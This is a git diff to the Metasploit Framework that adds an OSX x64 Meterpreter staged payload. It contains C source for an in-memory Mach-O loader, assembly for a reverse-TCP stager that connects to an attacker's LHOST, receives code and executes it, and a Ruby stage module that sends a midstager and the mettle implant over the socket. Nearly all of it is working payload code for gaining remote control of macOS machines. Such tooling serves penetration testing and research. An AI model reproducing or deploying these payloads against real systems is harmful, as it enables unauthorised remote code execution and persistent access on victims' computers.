diff --git a/Gemfile.lock b/Gemfile.lock index 74bd2953b4..e8e30a48e1 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -58,6 +58,7 @@ PATH rex-struct2 rex-text rex-zip + ruby-macho ruby_smb rubyntlm rubyzip @@ -320,6 +321,7 @@ GEM rspec-rerun (1.1.0) rspec (~> 3.0) rspec-support (3.7.1) + ruby-macho (1.1.0) ruby-rc4 (0.1.5) ruby_smb (0.0.18) bindata diff --git a/external/source/shellcode/osx/stager/Makefile b/external/source/shellcode/osx/stager/Makefile new file mode 100644 index 0000000000..aa1f001be2 --- /dev/null +++ b/external/source/shellcode/osx/stager/Makefile @@ -0,0 +1,19 @@ +CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0 +GCC_BIN_OSX=`xcrun --sdk macosx -f gcc` +GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS) +GCC_OSX=$(GCC_BASE_OSX) -arch x86_64 + +all: clean main_osx + +main_osx: main.c + $(GCC_OSX) -o $@ $^ + +install: main_osx + cp main_osx ../../../../../data/meterpreter/x64_osx_stage + +shellcode: install + otool -tv main_osx + +clean: + rm -f *.o main_osx + diff --git a/external/source/shellcode/osx/stager/main.c b/external/source/shellcode/osx/stager/main.c new file mode 100644 index 0000000000..4bcbf61935 --- /dev/null +++ b/external/source/shellcode/osx/stager/main.c @@ -0,0 +1,301 @@ +/* + * References: + * @parchedmind + * https://github.com/CylanceVulnResearch/osx_runbin/blob/master/run_bin.c + * + * @nologic + * https://github.com/nologic/shellcc + */ + +#include +#include + +#include +#include +#include + +#include +#include + +typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage); +typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options); + +uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer); +uint64_t find_symbol(uint64_t base, char* symbol); +uint64_t find_entry_offset(struct mach_header_64 *mh); +int string_compare(const char* s1, const char* s2); +int detect_sierra(); + +/*#define DEBUG*/ +#ifdef DEBUG +static void print(char * str); +#endif + +#define DYLD_BASE_ADDR 0x00007fff5fc00000 + +int main(int argc, char** argv) +{ +#ifdef DEBUG + print("main!\n"); +#endif + uint64_t buffer = 0; + uint64_t buffer_size = 0; + __asm__( + "movq %%r10, %0;\n" + "movq %%r12, %1;\n" + : "=g"(buffer), "=g"(buffer_size)); + +#ifdef DEBUG + print("hello world!\n"); +#endif + + int sierra = detect_sierra(); + uint64_t binary = DYLD_BASE_ADDR; + if (sierra) { + binary = find_macho(0x100000000, 0x1000, 0); + if (!binary) { + return 1; + } + binary += 0x1000; + } + uint64_t dyld = find_macho(binary, 0x1000, 0); + if (!dyld) { + return 1; + } + + NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory"); + if (!NSCreateObjectFileImageFromMemory_func) { + return 1; + } +#ifdef DEBUG + print("good symbol!\n"); +#endif + + NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule"); + if (!NSLinkModule_func) { + return 1; + } + + if (!sierra) { + NSCreateObjectFileImageFromMemory_func -= DYLD_BASE_ADDR; + NSLinkModule_func -= DYLD_BASE_ADDR; + } + + /*if (*(char*)buffer == 'b') {*/ + /*print("magic b!\n");*/ + /*}*/ + *(char*)buffer = '\xcf'; + ((uint32_t *)buffer)[3] = MH_BUNDLE; + + NSObjectFileImage fi = 0; + if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) { + return 1; + } +#ifdef DEBUG + print("created!\n"); +#endif + + NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR); + if (!nm) { +#ifdef DEBUG + print("no nm!\n"); +#endif + return 1; + } +#ifdef DEBUG + print("good nm!\n"); +#endif + + uint64_t execute_base = (uint64_t)nm; + execute_base = find_macho(execute_base, sizeof(int), 1); + + uint64_t entry_off = find_entry_offset((void*)execute_base); + if (!entry_off) { + return 1; + } + uint64_t entry = (execute_base + entry_off); + int(*main_func)(int, char**) = (int(*)(int, char**))entry; + char* socket = (char*)(size_t)argc; + char *new_argv[] = { "m", socket, NULL }; + int new_argc = 2; + return main_func(new_argc, new_argv); +} + +uint64_t find_symbol(uint64_t base, char* symbol) +{ + struct segment_command_64 *sc, *linkedit, *text; + struct load_command *lc; + struct symtab_command *symtab; + struct nlist_64 *nl; + + char *strtab; + symtab = 0; + linkedit = 0; + text = 0; + + lc = (struct load_command *)(base + sizeof(struct mach_header_64)); + for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) { + if (lc->cmd == LC_SYMTAB) { + symtab = (struct symtab_command *)lc; + } else if (lc->cmd == LC_SEGMENT_64) { + sc = (struct segment_command_64 *)lc; + char * segname = ((struct segment_command_64 *)lc)->segname; + if (string_compare(segname, "__LINKEDIT") == 0) { + linkedit = sc; + } else if (string_compare(segname, "__TEXT") == 0) { + text = sc; + } + } + lc = (struct load_command *)((unsigned long)lc + lc->cmdsize); + } + + if (!linkedit || !symtab || !text) { + return 0; + } + + unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff; + strtab = (char *)(base + file_slide + symtab->stroff); + + nl = (struct nlist_64 *)(base + file_slide + symtab->symoff); + for (int i=0; insyms; i++) { + char *name = strtab + nl[i].n_un.n_strx; + /*#ifdef DEBUG*/ + /*print(name);*/ + /*print("\n");*/ + /*#endif*/ + if (string_compare(name, symbol) == 0) { + return base + nl[i].n_value; + } + } + + return 0; +} + +uint64_t syscall_chmod(uint64_t path, long mode) +{ + uint64_t chmod_no = 0x200000f; + uint64_t ret = 0; + __asm__( + "movq %1, %%rax;\n" + "movq %2, %%rdi;\n" + "movq %3, %%rsi;\n" + "syscall;\n" + "movq %%rax, %0;\n" + : "=g"(ret) + : "g"(chmod_no), "S"(path), "g"(mode) + :); + return ret; +} + +uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer) +{ + while(1) { + uint64_t ptr = addr; + if (pointer) { + ptr = *(uint64_t *)ptr; + } + unsigned long ret = syscall_chmod(ptr, 0777); + if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) { + return ptr; + } + + addr += increment; + } + return 0; +} + +uint64_t find_entry_offset(struct mach_header_64 *mh) +{ + struct entry_point_command *entry; + struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64)); + for (int i=0; incmds; i++) { + if (lc->cmd == LC_MAIN) { + entry = (struct entry_point_command *)lc; + return entry->entryoff; + } + + lc = (struct load_command *)((unsigned long)lc + lc->cmdsize); + } + + return 0; +} + +int string_compare(const char* s1, const char* s2) +{ + while (*s1 != '\0' && *s1 == *s2) + { + s1++; + s2++; + } + return (*(unsigned char *) s1) - (*(unsigned char *) s2); +} + +int detect_sierra() +{ + uint64_t sc_sysctl = 0x20000ca; + int name[] = { CTL_KERN, KERN_OSRELEASE }; + uint64_t nameptr = (uint64_t)&name; + uint64_t namelen = sizeof(name)/sizeof(name[0]); + char osrelease[32]; + size_t size = sizeof(osrelease); + uint64_t valptr = (uint64_t)osrelease; + uint64_t valsizeptr = (uint64_t)&size; + uint64_t ret = 0; + + __asm__( + "mov %1, %%rax;\n" + "mov %2, %%rdi;\n" + "mov %3, %%rsi;\n" + "mov %4, %%rdx;\n" + "mov %5, %%r10;\n" + "xor %%r8, %%r8;\n" + "xor %%r9, %%r9;\n" + "syscall;\n" + "mov %%rax, %0;\n" + : "=g"(ret) + : "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr) + : ); + + // osrelease is 16.x.x on Sierra + if (ret == 0 && size > 2) { + if (osrelease[0] == '1' && osrelease[1] < '6') { + return 0; + } + if (osrelease[0] <= '9' && osrelease[1] == '.') { + return 0; + } + } + return 1; +} + +#ifdef DEBUG +int string_len(const char* s1) +{ + const char* s2 = s1; + while (*s2 != '\0') + { + s2++; + } + return (s2 - s1); +} + +void print(char * str) +{ + long write = 0x2000004; + long stdout = 1; + unsigned long len = string_len(str); + unsigned long long addr = (unsigned long long) str; + unsigned long ret = 0; + /* ret = write(stdout, str, len); */ + __asm__( + "movq %1, %%rax;\n" + "movq %2, %%rdi;\n" + "movq %3, %%rsi;\n" + "movq %4, %%rdx;\n" + "syscall;\n" + "movq %%rax, %0;\n" + : "=g"(ret) + : "g"(write), "g"(stdout), "S"(addr), "g"(len) + : "rax", "rdi", "rdx" ); +} +#endif diff --git a/external/source/shellcode/osx/stager/main_osx b/external/source/shellcode/osx/stager/main_osx new file mode 100755 index 0000000000..8be47bea40 Binary files /dev/null and b/external/source/shellcode/osx/stager/main_osx differ diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 2e6cf63ebe..6ab2274e03 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -118,6 +118,7 @@ Gem::Specification.new do |spec| # # Needed by auxiliary/gather/http_pdf_authors module spec.add_runtime_dependency 'pdf-reader' + spec.add_runtime_dependency 'ruby-macho' # # Protocol Libraries diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb index 568fd2cfcf..e9987eeba5 100644 --- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -7,8 +7,9 @@ require 'msf/core/handler/reverse_tcp' module MetasploitModule - CachedSize = 154 + CachedSize = 168 + include Msf::Payload::TransportConfig include Msf::Payload::Stager def initialize(info = { }) @@ -21,35 +22,108 @@ module MetasploitModule 'Arch' => ARCH_X64, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', - 'Stager' => - { - 'Offsets' => - { - 'LHOST' => [ 37, 'ADDR'], - 'LPORT' => [ 35, 'n'] - }, - 'Payload' => - "\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" + - "\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" + - "\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" + - "\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" + - "\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" + - "\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" + - "\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" + - "\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" + - "\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" + - "\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" + - "\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" + - "\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" + - "\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0" - } )) end - def handle_intermediate_stage(conn, p) - # - # Our stager payload expects to see a next-stage length first. - # - conn.put([p.length].pack('V')) + def generate(opts = {}) + encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first + encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first + retry_count = datastore['StagerRetryCount'] + seconds = datastore['StagerRetryWait'] + sleep_seconds = seconds.to_i + sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + + stager_asm = %( + ; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0) + push 0 + pop rdi + push 0x1000 + pop rsi + push 7 + pop rdx + push 0x1002 + pop r10 + push 0 + pop r8 + push 0 + pop r9 + push 0x20000c5 + pop rax + syscall + jb failed + + mov r12, rax + push 0 + pop r10 + push #{retry_count} + pop r11 + + socket: + ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); + push 2 + pop rdi ; rdi=AF_INET + push 1 + pop rsi ; rsi=SOCK_STREAM + push 0 + pop rdx ; rdx=IPPROTO_IP + push 0x2000061 + pop rax + syscall + jb retry + + ; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16); + mov rdi, rax + mov rax, 0x#{encoded_host}#{encoded_port} + push rax + push rsp + pop rsi + push 16 + pop rdx + push 0x2000062 + pop rax + syscall + jb retry + + ; recvfrom(sockfd, addr, 0x1000) + mov rsi, r12 + push 0x1000 + pop rdx + push 0x200001d + pop rax + syscall + jb retry + + call r12 + + retry: + dec r11 + jz failed + + push 0 + pop rdi + push 0 + pop rsi + push 0 + pop rdx + push 0 + pop r10 + push 0x#{sleep_nanoseconds.to_s(16)} + push 0x#{sleep_seconds.to_s(16)} + push rsp + pop r8 + push 0x200005d + pop rax + syscall + jmp socket + + failed: + push 0x2000001 + pop rax + push 0x1 + pop rdi + syscall ; exit(1) + ) + + Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string end end diff --git a/modules/payloads/stages/osx/x64/meterpreter.rb b/modules/payloads/stages/osx/x64/meterpreter.rb new file mode 100644 index 0000000000..6fa004124f --- /dev/null +++ b/modules/payloads/stages/osx/x64/meterpreter.rb @@ -0,0 +1,145 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/base/sessions/meterpreter_x64_osx' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'macho' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OSX Meterpreter', + 'Description' => 'Inject the mettle server payload (staged)', + 'Platform' => 'osx', + 'Author' => [ + 'parchedmind', # osx_runbin + 'nologic', # shellcc + 'timwr', # metasploit integration + ], + 'References' => [ + [ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ], + [ 'URL', 'https://github.com/nologic/shellcc' ] + ], + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_x64_OSX, + 'Convention' => 'sockedi', + ) + ) + end + + def handle_intermediate_stage(conn, payload) + stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage") + data = File.binread(stager_file) + macho = MachO::MachOFile.new_from_bin(data) + main_func = macho[:LC_MAIN].first + entry_offset = main_func.entryoff + + output_data = '' + for segment in macho.segments + for section in segment.sections + file_section = segment.fileoff + section.offset + vm_addr = section.addr - 0x100000000 + section_data = data[file_section, section.size] + if output_data.size < vm_addr + output_data += "\x00" * (vm_addr - output_data.size) + end + if section_data + output_data[vm_addr, output_data.size] = section_data + end + end + end + + midstager_asm = %( + push rdi ; save sockfd + xor rdi, rdi ; address + mov rsi, #{output_data.length} ; length + mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE + mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS + xor r8, r8 ; fd + xor r9, r9 ; offset + mov eax, 0x20000c5 ; mmap + syscall + + mov r12, rax + + mov rdx, rsi ; length + mov rsi, rax ; address + pop rdi ; sockfd + mov r10, 0x40 ; MSG_WAITALL + xor r8, r8 ; srcaddr + xor r9, r9 ; addrlen + mov eax, 0x200001d ; recvfrom + syscall + + push rdi ; save sockfd + xor rdi, rdi ; address + mov rsi, #{payload.length} ; length + mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE + mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS + xor r8, r8 ; fd + xor r9, r9 ; offset + mov eax, 0x20000c5 ; mmap + syscall + + mov rdx, rsi ; length + mov rsi, rax ; address + pop rdi ; sockfd + mov r10, 0x40 ; MSG_WAITALL + xor r8, r8 ; srcaddr + xor r9, r9 ; addrlen + mov eax, 0x200001d ; recvfrom + syscall + + mov r10, rsi + + ; setup stack? + and rsp, -0x10 ; Align + add sp, 0x40 ; Add room for initial stack and prog name + mov rax, 109 ; prog name "m" + push 0 ; + mov rcx, rsp ; save the stack + push 0 + push 0 + push 0 + push 0 + push 0 + push 0 + push rdi ; ARGV[1] int sockfd + push rcx ; ARGV[0] char *prog_name + mov rax, 2 ; ARGC + push rax + + mov rsi, r12 + mov r12, rdx + + mov rax, #{entry_offset} + add rsi, rax + call rsi + + ; exit + mov eax, 0x2000001 + mov rdi, 0x1 + syscall + ) + midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string + print_status("Transmitting first stager...(#{midstager.length} bytes)") + + conn.put(midstager) == midstager.length + print_status("Transmitting second stager...(#{output_data.length} bytes)") + conn.put(output_data) == output_data.length + end + + def generate_stage(opts = {}) + mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin', + generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec + mettle_macho[0] = 'b' + mettle_macho + end +end